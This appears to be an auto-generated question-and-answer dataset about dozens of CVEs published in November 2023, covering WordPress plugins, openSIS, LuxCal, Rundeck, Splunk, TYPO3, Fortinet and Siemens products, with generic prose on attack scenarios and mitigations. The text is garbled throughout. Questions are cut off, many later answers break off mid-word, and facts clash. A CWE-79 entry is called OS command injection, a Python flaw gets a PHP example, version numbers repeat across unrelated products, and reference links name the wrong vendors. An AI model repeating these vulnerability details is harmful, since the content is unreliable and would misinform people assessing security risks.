What is CV? CVE-2023-48176 refers to a security vulnerability that was identified in WebsiteGuide version 1.27.0.

How can an attacker exploit the vulnerability? An attacker can exploit the vulnerability in CVE-2023-48176 by creating a crafted JWT that, when decoded, causes the system to crash.

What is the base score? As of the provided information, there is no base score assigned to CVE-2023-48176. The Base Score is not yet available.

When was CVE-2023-48176 published? CVE-2023-48176 was published on 20 November 2023.

Where can more information about CVE-2023-48176 be found? More information about CVE-2023-48176 can be found at the provided reference link: <http://www.vdecert.de/cve-2023-48176>.

Could you provide an example attack scenario? In an attack scenario for CVE-2023-48176, an attacker might send a HTTP request to the Web application, causing it to crash.

What is the CVE ID? The CVE ID for the vulnerability found in the Forminator WordPress plugin is CVE-2023-5119.

Which version of the plugin is affected? CVE-2023-5119 affects versions of the Forminator WordPress plugin before 1.27.0.

What type of vulnerability is it? CVE-2023-5119 describes a vulnerability where the 'redirect-url' field in the form submission is not properly validated.

Who can exploit it? High-privilege users such as administrators could potentially exploit the vulnerability to redirect users to malicious websites.

When was it published? The vulnerability CVE-2023-5119 was published on 20 November 2023.

Where can more information about CVE-2023-5119 be found? More information about CVE-2023-5119 can be found in the following vulnerability database:

Can you provide an example attack scenario? An example attack scenario for CVE-2023-5119 might involve an administrator with high privileges sending a crafted URL to a user.

Is there a patch available? As of the latest available information, there is no Base Score provided for CVE-2023-5119.

What steps should be taken to mitigate the risk? To mitigate the risk posed by CVE-2023-5119, users of the Forminator WordPress plugin should update to the latest version.

What is CV? CVE-2023-48300 refers to a security vulnerability found in the 'Embed Privacy' plugin for WordPress.

How can it be exploited? CVE-2023-48300 can be exploited by an authenticated attacker with at least contributor-level permissions.

Which versions are affected? The 'Embed Privacy' plugin versions that are affected by CVE-2023-48300 are all versions up to 1.27.0.

Is there a patch available? Yes, there is a patch available for CVE-2023-48300. The issue has been resolved in version 1.27.0.

What is the impact? The impact of CVE-2023-48300 is that it allows authenticated attackers with contributor-level permissions to execute arbitrary JavaScript code.

Where can more information about CVE-2023-48300 be found? More information about CVE-2023-48300 can be found through the following references:-

What steps should be taken? Administrators of WordPress sites using the 'Embed Privacy' plugin should immediately update to the latest version.

What type of vulnerability is it? CVE-2023-38883 describes a reflected cross-site scripting (XSS) vulnerability.

Which application is affected? The application affected by CVE-2023-38883 is openSIS (open Student Information System).

How can it be exploited? CVE-2023-38883 can be exploited by remote attackers by sending a crafted request that includes malicious script.

What is the impact? The impact of CVE-2023-38883 is that an attacker can execute arbitrary JavaScript code in the victim's browser.

When was CVE-2023-38883 published on 20 November 2023.

Are there any research regarding CVE-2023-38883 and potential code examples can be found on GitHub? Certainly. In a typical attack scenario exploiting CVE-2023-38883, an attacker would send a payload to a victim's browser that contains malicious JavaScript code.

Where can More information about OS4ED, the developers of openSIS Classic, can be found on their official website?

What is CVE-2023-38882 refers to a reflected cross-site scripting (XSS) vulnerability found in the Community Edition version 9.0 of OS4ED's openSIS Classic.

When was CVE-2023-38882 published on 20 November 2023.

What type: CVE-2023-38882 makes it possible for attackers to perform reflected cross-site scripting (XSS) attacks.

Has the Base Score assigned? As of the information provided, the Base Score for CVE-2023-38882 has not yet been assigned.

Where can Additional information or updates regarding CVE-2023-38882 can be found on the official website?

What is An example of a malicious payload that could exploit CVE-2023-38882 would be a URL containing a script tag.

What is the impact of CVE-2023-38882 on the security of a web application is significant, as it allows an attacker to execute arbitrary JavaScript code.

What can be done To mitigate the risk of CVE-2023-38882, developers should ensure that input from all untrusted sources is properly sanitized.

What is CVE-2023-38881 describes a reflected cross-site scripting (XSS) vulnerability.

Which app The vulnerability CVE-2023-38881 affects the Community Edition version 9.0 of OS4ED's openSIS Classic.

How can an attacker exploit CVE-2023-38881 by including a malicious JavaScript payload in any user input?

What is the impact of CVE-2023-38881 is that it allows a remote attacker to execute arbitrary JavaScript code.

Could you provide an example payload for exploiting CVE-2023-38881 might look like this: '/CalendarModal.js?'.

When was CVE-2023-38881 published on 20 November 2023.

Where can More information about CVE-2023-38881 can be found at the following URLs:- <https://github.com/OS4ED/openSISClassic>

Does CVE-2023-38881 have a Base Score assigned? As of the information provided, CVE-2023-38881 does not have a Base Score assigned.

What type: Systems running the Community Edition version 9.0 of OS4ED's openSIS Classic are at risk of being exploited.

Could you provide an attack scenario using CVE-2023-38881 might involve an attacker crafting a URL containing a malicious payload.

What is CVE-2023-38880 is a security vulnerability in the Community Edition version 9.0 of OS4ED's openSIS Classic.

How does CVE-2023-38880 affects openSIS Classic by compromising its data safety. The database backup feature is affected.

What version of CVE-2023-38880 specifically impacts the Community Edition version 9.0 of OS4ED's openSIS Classic.

What information is exposed Due to CVE-2023-38880, an entire database dump can be exposed, including sensitive data.

When was CVE-2023-38880 published on 20 November 2023.

What are some possible attack scenarios for CVE-2023-38880 include unauthorized actors discovering the vulnerability.

What might happen While it would be irresponsible to provide explicit exploit code, a hypothetical code snippet could be provided to demonstrate how an attacker might exploit the vulnerability.

Are there any more information on CVE-2023-38880 can be found at the following URLs:- <https://github.com/OS4ED/openSISClassic>

What should be done An administrator of an affected openSIS Classic version should immediately implement security patches.

What is CVE-2023-48223 refers to a security vulnerability identified in the fast-jwt library, which is used for generating JSON Web Tokens.

Which version All versions of fast-jwt prior to version 3.3.2 are affected by the vulnerability CVE-2023-48223.

How can an attacker exploit CVE-2023-48223, an attacker needs to generate a malicious JWT token using the vulnerable library.

What is the recommended solution The recommended solution for CVE-2023-48223 is to upgrade fast-jwt to version 3.3.2, which is available on the official GitHub repository.

Is there a workaround Yes, as a workaround for CVE-2023-48223, users can change line 29 of `blob/master/src/crypto/jwt.c`.

Can you provide an example code change to work around CVE-2023-48223 would involve modifying the `parse_header` function.

What are possible attack scenarios for CVE-2023-48223 include an attacker issuing a JWT signed with a private key.

Where can further information regarding CVE-2023-48223 can be found in the official advisories and security bulletins.

What is CVE-2023-6197 refers to a security vulnerability identified in the Audio Merchant plugin for openSIS Classic.

How does CVE-2023-6197 vulnerability allows attackers to exploit the Audio Merchant plugin by injecting malicious code into the plugin's configuration files.

What version Versions of the Audio Merchant plugin up to and including 5.0.4 are affected by CVE-2023-6197.

When was CVE-2023-6197 was published on 20 November 2023.

Where can More information on CVE-2023-6197 can be found in the following references: a link to the official GitHub repository and a link to the official security bulletin.

Can you pr An attack scenario for CVE-2023-6197 might involve an attacker crafting a malicious HTML What is the The CVE ID for the vulnerability found in Wago's web-based management system is CVE-2023-6197. Can you de CVE-2023-3379 refers to a security vulnerability that exists in the web-based management system. What is the The Base Score for CVE-2023-3379 is not available at the moment ('N/A'), which indicates it is not yet assigned. When was The vulnerability identified by CVE-2023-3379 was published on the 20th of November, 2023. Where can You can find more details about the vulnerability CVE-2023-3379 by visiting the advisory page. What kind In an attack scenario associated with CVE-2023-3379, a local attacker who is authenticated. Are there a As the CVE-2023-3379 pertains to a vulnerability in the proprietary web-based management system. What is CV CVE-2023-47175 is a security vulnerability identified within LuxCal Web Calendar. This vulnerability was first reported on November 20, 2023. When was CVE-2023-47175 was published on 20 November 2023.

What is the The impact of CVE-2023-47175 is that it allows an attacker to perform cross-site scripting (XSS). Can you pr An attacker might exploit CVE-2023-47175 by crafting malicious input containing script code. What versi CVE-2023-47175 affects LuxCal Web Calendar versions prior to 5.2.4M for the MySQL version. Is there a C As of now, there is no available base score for CVE-2023-47175.

Are there a Yes, more information about CVE-2023-47175 can be found at the following references:- JV-2023-47175. What actio Users of the affected LuxCal Web Calendar versions should upgrade to version 5.2.4M or later. What is CV CVE-2023-46700 refers to a SQL injection vulnerability found in LuxCal Web Calendar version. What type CVE-2023-46700 describes a SQL injection vulnerability, which is a security flaw that enables an attacker to execute arbitrary SQL code. What are t The affected versions of LuxCal Web Calendar by CVE-2023-46700 are all versions prior to 5.2.4M. What kind By exploiting CVE-2023-46700, an attacker can gain the ability to execute arbitrary SQL code. Has CVE-2023-46700 As of the information provided, CVE-2023-46700 has not been assigned a CVSS base score. When was CVE-2023-46700 was published on 20 November 2023.

Provide an An attack scenario exploiting CVE-2023-46700 could involve an attacker sending a specially crafted SQL query to the application. Where can You can find more information about CVE-2023-46700 in the references provided, which include the official LuxCal Web Calendar documentation and the GitHub repository.

What mea To mitigate CVE-2023-46700, administrators should upgrade the affected LuxCal Web Calendar version. What is CV CVE-2023-48238 refers to a security vulnerability found in the 'joaquimserafim/json-web-token' library. How does CVE-2023-48238 affects applications by making them susceptible to a JWT algorithm configuration error. What mak Applications become vulnerable to CVE-2023-48238 when they use affected versions of the library. Can you pr Certainly, a code example in relation to CVE-2023-48238 would look something like this be shown here. What are t One possible attack scenario for CVE-2023-48238 involves an attacker crafting a malicious JSON Web Token (JWT) that bypasses the validation logic. What is the To mitigate CVE-2023-48238, developers maintaining the affected applications should update to a fixed version of the library. Where can For more information regarding CVE-2023-48238, you can visit the official GitHub security advisory page.

What is the The CVE ID of the reflected cross-site scripting vulnerability discovered in Liferay Portal version 7.4.3.94 through 7.4.3.96 is CVE-2023-47797.

Can you de CVE-2023-47797 is a reflected cross-site scripting (XSS) vulnerability found in Liferay Portal version 7.4.3.94 through 7.4.3.96. On what d CVE-2023-47797 was published on 17 November 2023.

What is the The impact of the vulnerability CVE-2023-47797 is that it allows remote attackers to perform XSS attacks.

Is there a s No, there is no Base Score provided for CVE-2023-47797 at the moment.

Where can More details about CVE-2023-47797 can be found on the Liferay's official security page titled 'Security Advisories'. Can you pr An example of an attack using CVE-2023-47797 could involve an attacker crafting a malicious URL that triggers the XSS vulnerability. What versi The versions of Liferay Portal that are affected by CVE-2023-47797 are 7.4.3.94 through 7.4.3.96. What mea To mitigate the risk associated with CVE-2023-47797, administrators should apply any patches available. What type CVE-2023-47797 is classified as a reflected cross-site scripting (XSS) vulnerability.

What is the The CVE ID for the vulnerability found in Rundeck is CVE-2023-48222.

Which pro CVE-2023-48222 affects the Rundeck automation service, which includes both Rundeck Op

Can you de The security issue in CVE-2023-48222 involves access to two URLs in the Rundeck platform What mea: To address the vulnerability described in CVE-2023-48222, users should upgrade to Runde Are there ↗ No, there are no known workarounds for the vulnerability CVE-2023-48222. The recomme When was The vulnerability with CVE ID CVE-2023-48222 was published on 16 November 2023.

Where can More information about CVE-2023-48222 can be found in the security advisory published ↗ What coul A potential attack scenario for CVE-2023-48222 would involve an authenticated user explo What is CV CVE-2023-47112 is a security vulnerability in Rundeck, an open source automation service Which vers CVE-2023-47112 affects versions of Rundeck prior to version 4.17.3, as the vulnerability ha How sever The severity or 'Base Score' for CVE-2023-47112 has not been assigned in the provided info What is th The data exposed by CVE-2023-47112 is limited to the names of job groups and the jobs cc What are t To mitigate CVE-2023-47112, users are advised to upgrade Rundeck to version 4.17.3 or la When was CVE-2023-47112 was published on 16 November 2023.

Can you pr More information on CVE-2023-47112 can be found in the security advisory posted by Run What kind Attack scenarios associated with CVE-2023-47112 may involve an authenticated user abusi What is CV CVE-2023-46213 is a security vulnerability found in Splunk Enterprise versions below 9.0.7 What featu The 'Show syntax Highlighted' feature in Splunk Enterprise is affected by CVE-2023-46213. What versi The vulnerable versions of Splunk Enterprise for CVE-2023-46213 are those below 9.0.7 an What are t CVE-2023-46213 can result in the execution of unauthorized code in a user's web browser, Has a base As of the available information, a base score for the severity of CVE-2023-46213 has not be When was The CVE-2023-46213 vulnerability was published on 16 November 2023.

Where can More information about CVE-2023-46213 can be found at the Splunk Advisory page (<https://splunkbase.splunk.com/advisories/2023-46213/>) Can you pr An example of exploiting CVE-2023-46213 might involve an attacker crafting a malicious in What kind CVE-2023-46213 could facilitate a cross-site scripting (XSS) attack, where an attacker might What shou Administrators of affected Splunk Enterprise versions should upgrade to a version that is n What is CV CVE-2023-28621 is a security vulnerability identifier for an 'Improper Neutralization of Inp Which ther The WordPress themes affected by CVE-2023-28621 are the Raise Mag theme, specifically Can you pr An attacker might exploit CVE-2023-28621 by crafting a malicious URL with embedded Java What is the CVE-2023-28621 is a reflected cross-site scripting vulnerability. Reflected XSS occurs when What are t If an attacker successfully exploits CVE-2023-28621, they can execute arbitrary JavaScript c How can C To mitigate CVE-2023-28621, webmasters should immediately update the affected Raise Mag Are there ↗ Yes, you can find more information about CVE-2023-28621 from the provided references: | What is CV CVE-2023-6022 is a security vulnerability found in the open source Prefect web server's AP When was CVE-2023-6022 was published on 16 November 2023.

Is there a b As of the information available on CVE-2023-6022, a Base Score has not been assigned to t Where can Additional details about CVE-2023-6022 can be found at the provided reference link: <https://splunkbase.splunk.com/advisories/2023-6022/> What kind The CVE-2023-6022 vulnerability could be exploited via a CSRF attack. In this scenario, an ↗ Can you pr A possible attack scenario for CVE-2023-6022 could involve an attacker crafting a maliciou What mitig To mitigate CVE-2023-6022, Prefect server administrators should look for and apply any of What is CV CVE-2023-43275 is a Cross-Site Request Forgery (CSRF) vulnerability found in DedeCMS ve When was CVE-2023-43275 was published on 16 November 2023.

How can C CVE-2023-43275 can be exploited by an attacker who creates a crafted webpage or a malic Are there ↗ Yes, additional details regarding CVE-2023-43275 can be found in the reference provided: | What is th The impact of the CSRF vulnerability described in CVE-2023-43275 is that an attacker can c What are p To mitigate CVE-2023-43275, the developers should update the DedeCMS application to a

Is there a CVAs of the provided information, there is no Base Score available for CVE-2023-43275.

What is CV CVE-2023-5381 refers to a security vulnerability identified in the Elementor Addon Elementor Elements plugin for WordPress.

What type: CVE-2023-5381 particularly affects WordPress installations that are configured as multi-site.

How does | CVE-2023-5381 allows attackers with administrator-level permissions to exploit the Stored XSS vulnerability.

Are there a Yes, several references provide technical details about CVE-2023-5381. These include the following:

- What action To mitigate CVE-2023-5381, users should update the Elementor Addon Elements plugin to version 2.24.0 or later.
- Can you provide more details? Certainly! As CVE-2023-5381 allows stored XSS through insufficient input sanitization, an attacker can inject malicious code into user-generated content.

What is CV CVE-2023-48224 refers to a vulnerability in Fides, an open-source privacy engineering platform.

How does | The vulnerability in CVE-2023-48224 is caused by the use of Python's 'random' module, which generates pseudo-random numbers.

In which version was it fixed? The CVE-2023-48224 vulnerability has been patched in version 2.24.0 of the Fides platform.

What are the potential risks? Exploiting CVE-2023-48224 can lead to unauthorized data erasure requests, resulting in the deletion of sensitive information.

Are there any known workarounds? There are no known workarounds for CVE-2023-48224. The only recommended action is to upgrade to the latest version of Fides.

What are some possible attack scenarios? Possible attack scenarios for CVE-2023-48224 include an attacker registering as a data subject and manipulating privacy settings.

Can you provide an example of the affected code? Certainly. Prior to the patch, a simplified code example of the issue might look like the following PHP code:

```
function generate_random_string() { return random_int(0, 100); }
```

What is CV CVE-2023-47636 refers to a vulnerability in the Pimcore Admin Classic Bundle that leads to a Cross-Site Scripting (XSS) vulnerability.

How does | The vulnerability in CVE-2023-47636 arises due to improper error handling in the fopen() function.

Which version was it fixed? The CVE-2023-47636 vulnerability was fixed in the Pimcore Admin Classic Bundle in version 2.24.0.

What are the potential risks? If an attacker successfully exploits CVE-2023-47636, they could gain knowledge of the full database.

Are there any known workarounds? According to the information provided, there are no known workarounds for the vulnerability.

Where can I find more information? More information about CVE-2023-47636 can be found in the references provided, including the official Pimcore documentation.

Could you provide a code example? Certainly. The affected code in CVE-2023-47636 would be something like the following PHP code:

```
function read_file($file) { $content = file_get_contents($file); echo $content; }
```

What attack scenario is possible? If CVE-2023-47636 is not mitigated, potential attack scenarios include but are not limited to: Cross-Site Scripting (XSS), Clickjacking, and Data Extraction.

What is CV CVE-2023-4602 is a security vulnerability identified in the Namaste! LMS plugin for WordPress.

How can an attacker exploit it? An attacker could exploit CVE-2023-4602 by constructing a malicious URL containing JavaScript code.

What version(s) are affected? Versions up to and including 2.6.1.1 of the Namaste! LMS plugin for WordPress are affected.

What recommendations are there? Users affected by CVE-2023-4602 are recommended to update the Namaste! LMS plugin to the latest version.

Where can I find more information? More information about CVE-2023-4602 can be found at various sources, including the plugin repository and security forums.

Can you provide an example of a possible attack scenario? A possible attack scenario for CVE-2023-4602 would involve an attacker creating a specially crafted URL to trigger the vulnerability.

What is the CVE ID for the vulnerability? The CVE ID for the vulnerability in the Shareaholic plugin for WordPress is CVE-2023-4889.

Can you describe the vulnerability? CVE-2023-4889 refers to a Stored Cross-Site Scripting (XSS) vulnerability in the Shareaholic plugin for WordPress.

What version(s) is it affected? CVE-2023-4889 affects all versions of the Shareaholic WordPress plugin up to and including 2.6.1.1.

What are the potential risks? To exploit the vulnerability CVE-2023-4889 in the Shareaholic WordPress plugin, an attacker can inject malicious JavaScript code into user-generated content.

When was it published? CVE-2023-4889 was published on 15 November 2023.

What are the references? To learn more about CVE-2023-4889, you can refer to the following references:

1. The WordPress Security Notice for CVE-2023-4889.

Can you provide a hypothetical attack scenario? In a hypothetical attack scenario for CVE-2023-4889, an attacker with contributor-level access could inject malicious JavaScript code into a user comment.

What is the CVE ID for the reported cross-site scripting vulnerability? The CVE ID for the reported cross-site scripting vulnerability is CVE-2023-5987.

Can you explain what CVE-2023-5987 describes? CVE-2023-5987 describes a weakness known as a Cross-Site Scripting (XSS) vulnerability, specifically a stored XSS vulnerability.

Has the CVAs of the information provided, no Base Score has been assigned to CVE-2023-5987.

When was CVE-2023-5987 published? CVE-2023-5987 was published on 15 November 2023.

Where can I find more information? More information on CVE-2023-5987 can be found in the security notice published by Schrodinger Security.

What are possible attack scenarios? Possible attack scenarios for CVE-2023-5987 include an attacker sending a crafted link with malicious JavaScript code.

Could you provide an example? Certainly, here's a basic hypothetical example of how an attacker could exploit CVE-2023-5987:

What is the CVE ID for the URL Redirection vulnerability? The CVE ID for the URL Redirection vulnerability published on 15 November 2023 is CVE-2023-5986.

What type of vulnerability is CVE-2023-5986? CVE-2023-5986 is a CWE-601 URL Redirection to Untrusted Site vulnerability, which could allow an attacker to redirect users to a malicious website.

How can it Att^{ackers} can exploit CVE-2023-5986 by providing URL-encoded input to the software's web application?

What is the impact of CVE-2023-5986? The impact could include unauthorized redirection to untrusted websites.

Are there any security notices for CVE-2023-5986? Yes, there is a security and safety notice documented for CVE-2023-5986, which is available on the National Vulnerability Database.

What kind of attack scenario is possible for CVE-2023-5986? An attack scenario might involve an attacker crafting a malicious link that, when followed, leads to a different website.

What preventions or mitigations are recommended for CVE-2023-5986? To prevent or mitigate the risks of CVE-2023-5986, the web application should validate and sanitize user input.

Provide an example of how an open redirect vulnerability like CVE-2023-5986 can be introduced in code through insufficient validation.

What type of vulnerability is CVE-2023-5985? CVE-2023-5985 represents a CWE-79 type of vulnerability, known as 'Improper Neutralization of Special Elements used in an OS Command'.

What are the consequences of CVE-2023-5985? The exploitation of CVE-2023-5985 could lead to the compromise of a user's browser. An affected user could be tricked into running malicious code.

On what date was CVE-2023-5985 published? The vulnerability CVE-2023-5985 was published on 15 November 2023.

Are there any official security advisories for CVE-2023-5985? Yes, there is an official security advisory available for CVE-2023-5985, which can be found on the National Vulnerability Database.

Can you describe a possible attack scenario for CVE-2023-5985? In a possible attack scenario for CVE-2023-5985, an attacker who has gained administrative privileges on a system could use the vulnerability to run arbitrary commands.

Is there a Base Score assigned to CVE-2023-5985? As of the information provided, there is no Base Score assigned to CVE-2023-5985. The Base Score is typically assigned by the National Vulnerability Database.

What is CVE-2023-48217? CVE-2023-48217 is a security vulnerability found in the Statamic content management system.

How can an attacker exploit CVE-2023-48217? An attacker could exploit CVE-2023-48217 by crafting a PHP file that mimics an image and attempting to upload it to the system.

Has CVE-2023-48217 been patched? Yes, CVE-2023-48217 has been patched in Statamic versions 3.4.14 and 4.34.0. Users running older versions should upgrade to one of these patches.

Are there any known workarounds for CVE-2023-48217? No, there are no known workarounds for CVE-2023-48217. The recommended action is to apply the available patches.

What is the impact of CVE-2023-48217? The impact of CVE-2023-48217 could be severe for a website using a vulnerable version of Statamic.

Where can more information about CVE-2023-48217 be found? More information about CVE-2023-48217 can be found in the official Git commit addressir

What kind of systems are affected by CVE-2023-48217? Systems affected by CVE-2023-48217 are those running specific versions of Statamic, a Laravel-based CMS.

What is the CVE ID of the vulnerability identified in the aiohttp package? The CVE ID of the vulnerability identified in the aiohttp package is CVE-2023-47641.

In which package is the vulnerability found? The CVE-2023-47641 vulnerability is found in the aiohttp package, which is an asynchronous Python library for network requests.

What type of vulnerability is CVE-2023-47641? CVE-2023-47641 is a security vulnerability relating to the inconsistent interpretation of the Content-Length header.

How does it affect the system? In CVE-2023-47641, if both Content-Length and Transfer-Encoding headers are present, it can lead to memory corruption.

Can you give an example of an attack scenario? An attack scenario exploiting CVE-2023-47641 might involve an attacker passing a 'Transfer-Encoding: chunked' header and a large Content-Length header to trigger a buffer overflow.

Has the vulnerability been addressed? Yes, the vulnerability CVE-2023-47641 has been addressed in release 3.8.0 of the aiohttp package.

What should users do? Users of aiohttp should upgrade to release 3.8.0 or later to mitigate the vulnerability CVE-2023-47641.

Are there any known workarounds? There are no known workarounds for the CVE-2023-47641 vulnerability. The recommended action is to upgrade to the patched version.

Where can more information or references about CVE-2023-47641 be found? More information about CVE-2023-47641 can be found at the GitHub commit addressir

On what date was CVE-2023-47641 published? CVE-2023-47641 was published on 14 November 2023.

What is CVE-2023-47544? CVE-2023-47544 refers to a security vulnerability identified in the Atarim Visual Website Collaboration, Feedback & Project Management system.

When was CVE-2023-47544 published? CVE-2023-47544 was published on 14 November 2023.

What is the impact of CVE-2023-47544? The impact of CVE-2023-47544 is significant as it can allow attackers to carry out stored XSS attacks.

What type of vulnerability is CVE-2023-47544? CVE-2023-47544 is classified as an Unauthenticated Stored Cross-Site Scripting (XSS) vulnerability.

How can an attacker exploit CVE-2023-47544? An attacker can exploit CVE-2023-47544 by crafting and submitting malicious input, often in the form of comments or feedback posts.

What version of the system is affected by CVE-2023-47544? CVE-2023-47544 affects the Atarim Visual Website Collaboration, Feedback & Project Management system.

Are there any further details on CVE-2023-47544? Yes, further details on CVE-2023-47544 can be found at the following reference link: <https://www.vulnHub.com/vulnerabilities/atrim-cve-2023-47544/>.

What are potential attack scenarios for CVE-2023-47544? Potential attack scenarios for CVE-2023-47544 may include an attacker submitting a comment containing malicious script.

What is the CVE ID of the vulnerability found in the Yii PHP framework? The CVE ID of the vulnerability found in the Yii PHP framework is CVE-2023-47130.

Which version of the Yii framework is affected by CVE-2023-47130? Versions of yiisoft/yii before version 1.1.29 are affected by CVE-2023-47130.

What type of vulnerability is CVE-2023-47130? CVE-2023-47130 is a Remote Code Execution (RCE) vulnerability.

How can an application be exploited if it uses the `unserialize()` function on user input? CVE-2023-47130 can be exploited if an application using Yii calls `unserialize()` on arbitrary user input.

What measures should users take to mitigate the risk? Users should upgrade to version 1.1.29 of yiisoft/yii, which contains a fix for CVE-2023-47130.

Can you provide an example of an attack scenario? Certainly. A simple example would be PHP code in a Yii-based application that uses the `unserialize()` function on user input.

What are possible attack scenarios? Possible attack scenarios include an attacker sending a serialized object with malicious code to the application.

Where can You can find more information about CVE-2023-47130 at the following URLs:- <https://github.com/typo3/cve-2023-47130>
When was CVE-2023-47130 was first published on 14 November 2023.

What is the The CVE ID for the identified vulnerability in TYPO3 is CVE-2023-47127.

Can you explain In CVE-2023-47127, a security issue was identified in TYPO3 where a session cookie generation

Which version The TYPO3 versions affected by CVE-2023-47127 were not explicitly listed before the version

How can users mitigate the vulnerability described in CVE-2023-47127 by upgrading their TYPO3

What are the Potential attack scenarios for CVE-2023-47127 include a malicious user or attacker obtainin

Are there any As CVE-2023-47127 is a session management vulnerability in TYPO3, direct code examples

Where can The official references and advisories for CVE-2023-47127 can be found at the following URL

When was CVE-2023-47127 was published on 14 November 2023.

Does CVE-2023-47127 have a base score? No, a base score has not been provided for CVE-2023-47127 at this time.

What is TYPO3? TYPO3 is an open-source PHP-based content management system designed for web conte

In which version was the vulnerability found? The vulnerability CVE-2023-47126 was found in versions of TYPO3 prior to version 12.4.8. I

What does CVE-2023-47126 disclose? CVE-2023-47126 discloses the full path of the transient data directory on the login screen c

How can users mitigate the vulnerability? To mitigate the vulnerability CVE-2023-47126, users are advised to upgrade their TYPO3 in

Are there any workarounds? No, there are no known workarounds for CVE-2023-47126. The recommended solution is to upg

What potential attack scenarios exist? While the CVE-2023-47126 discloses the full path of the transient data directory, such info

Where can more information about CVE-2023-47126 be found? More information about CVE-2023-47126 can be found through the following references:

What is CVE-2023-47125? CVE-2023-47125 is a security vulnerability discovered in TYPO3, which is an open source PI

How can users mitigate the vulnerability? To mitigate CVE-2023-47125, users should upgrade to either version 1.5.3 or 2.1.4 of the typ

What versions are affected? The exact versions of TYPO3 affected by CVE-2023-47125 are not specified in the provided

Are there any workarounds? There are no known workarounds for CVE-2023-47125. The recommended action is to upg

When was CVE-2023-47125 published? The CVE-2023-47125 vulnerability was published on 14 November 2023.

Can you provide more information on CVE-2023-47125? Yes, for more information on CVE-2023-47125, you can refer to the following sources:- The

What would an attack scenario for CVE-2023-47125 involve? An attack scenario for CVE-2023-47125 might involve an attacker crafting a malicious payload

What is CVE-2023-26222? CVE-2023-26222 refers to a security vulnerability in the Web Application component of TIBCO EBX

Which products are affected? The products affected by CVE-2023-26222 are TIBCO Software Inc.'s TIBCO EBX: versions 5

How can an attacker exploit the vulnerability? An attacker can exploit CVE-2023-26222 by injecting malicious scripts into vulnerable web

Is there any base score assigned for CVE-2023-26222? As of the information provided, there is no base score assigned for CVE-2023-26222. This c

When was CVE-2023-26222 published? CVE-2023-26222 was published on 14 November 2023.

Where can more detailed information and advisories regarding CVE-2023-26222 be found? More detailed information and advisories regarding CVE-2023-26222 can be found on the

What are the attack scenarios for CVE-2023-26222? Attack scenarios for CVE-2023-26222 could involve a low-privileged attacker crafting a mal

What is CVE-2023-25603? CVE-2023-25603 refers to a security vulnerability found in several Fortinet products, includ

Which products are affected? The products affected by CVE-2023-25603 are Fortinet FortiADC versions 7.1.0 to 7.1.1 and Forti

What can an unauthorized attacker do? By exploiting CVE-2023-25603, an unauthorized attacker can perform privileged actions an

When was CVE-2023-25603 published? CVE-2023-25603 was published on 14 November 2023.

Has Fortinet issued any advisories for CVE-2023-25603? Yes, Fortinet has issued advisories for CVE-2023-25603, which can be found through the re

What would an example attack scenario for CVE-2023-25603 involve? An example attack scenario for CVE-2023-25603 could involve an attacker crafting HTTP re

What is the base score for CVE-2023-25603? The base score for CVE-2023-25603 is not available (N/A) in the provided information. For

What is CVE-2023-45582? CVE-2023-45582 refers to a security vulnerability found in FortiMail webmail that is classif

What version of FortiMail is affected? CVE-2023-45582 affects FortiMail webmail versions 7.2.0 through 7.2.4, 7.0.0 through 7.0.

What type of attack can be carried out? CVE-2023-45582 may allow an unauthenticated attacker to carry out a brute force attack. -

When was CVE-2023-45582 published? CVE-2023-45582 was published on 14 November 2023.

Where can additional information or updates regarding CVE-2023-45582 be found? Additional information or updates regarding CVE-2023-45582 can be found on the official

Is there a c Since CVE-2023-45582 involves a brute force attack due to improper login attempt limitati
Can you di: A possible attack scenario for CVE-2023-45582 involves an attacker leveraging the lack of r
Has CVE-20 As of now, CVE-2023-45582 has not been assigned a base score. The base score would typi
What is CV CVE-2023-36633 is a security vulnerability identified in FortiMail webmail versions 7.2.0 th
Which FortiMail webmail versions 7.2.0 through 7.2.2 and versions befor
What can a If an attacker successfully exploits CVE-2023-36633, they can see and change the title of ac
Was there Yes, there was a reference provided for more details on CVE-2023-36633. The official Forti
How was C CVE-2023-36633 was disclosed on 14 November 2023. Details regarding the vulnerability v
Is there an: Typically, exploiting CVE-2023-36633 would involve sending a crafted HTTP or HTTPs requ
Can you de An attack scenario for CVE-2023-36633 could involve an authenticated user who, upon not
Has CVE-20 As of the information provided, CVE-2023-36633 has not been assigned a CVSS base score
What is the The CVE ID of the vulnerability found in SIMATIC PCS neo versions prior to V4.1 is CVE-202
Can you de CVE-2023-46096 refers to a security issue where the PUD Manager in SIMATIC PCS neo do
What is the The base score for CVE-2023-46096 has not been provided or is not available at this time.
When was CVE-2023-46096 was published on 14 November 2023.

Where can Detailed information about CVE-2023-46096 can be found in the official Siemens security a
What migh A possible attack scenario for CVE-2023-46096 would involve an attacker who is on the sar
Are there a Since CVE-2023-46096 is a vulnerability in a specific industrial software that involves authen
Has CVE-20 CVE-2023-46096 affects SIMATIC PCS neo versions prior to V4.1. Users are advised to upda
What is CV CVE-2023-44321 is a security vulnerability identified in a wide range of Siemens' RUGGEDC
Which Sier CVE-2023-44321 affects multiple Siemens products including a variety of RUGGEDCOM an
How can C To exploit CVE-2023-44321, an attacker would need to be authenticated to the web interf
What are t The exploitation of CVE-2023-44321 can lead to a denial of service condition where the aff
When was The vulnerability identified as CVE-2023-44321 was published on 14 November 2023.

Where can More information or advisories related to CVE-2023-44321 can be found on Siemens' CERT
What is the There is no base score provided for CVE-2023-44321 in the given information.
What is CV CVE-2023-44320 is a security vulnerability identified in a range of products including RUGG
Which Sier The CVE-2023-44320 affects a variety of network devices made by Siemens, specifically tar
When was CVE-2023-44320 was published on 14 November 2023.

How woulc An attacker could exploit CVE-2023-44320 by first ensuring they have authenticated access
What is the The CVSS base score for CVE-2023-44320 is not available ('N/A'). This might mean that at t
Are there a The CVE-2023-44320 vulnerability advisory references Siemens' product security advisorie
Can you pr In a hypothetical attack scenario exploiting CVE-2023-44320, an attacker with valid creden
What is CV CVE-2023-45880 refers to a security vulnerability discovered in GibbonEdu Gibbon up to ve
How does i The impact of CVE-2023-45880 on GibbonEdu Gibbon's security is significant because it all
What is the In a potential attack scenario exploiting CVE-2023-45880, an attacker with access to the rep
What is the CVE-2023-45880 was published on 14 November 2023.

Are there a Yes, further details about CVE-2023-45880 can be found in a security advisory hosted by H
Has a base As of the information provided, there is no base score assigned to CVE-2023-45880.

What versi CVE-2023-45880 affects all versions of GibbonEdu Gibbon up to and including version 25.0
What mea: To mitigate CVE-2023-45880, administrators should promptly update GibbonEdu Gibbon to
What is CV CVE-2023-4603 refers to a security vulnerability found in the Star CloudPRNT for WooCom
How can C An attacker can exploit CVE-2023-4603 by crafting malicious links containing an XSS payloa
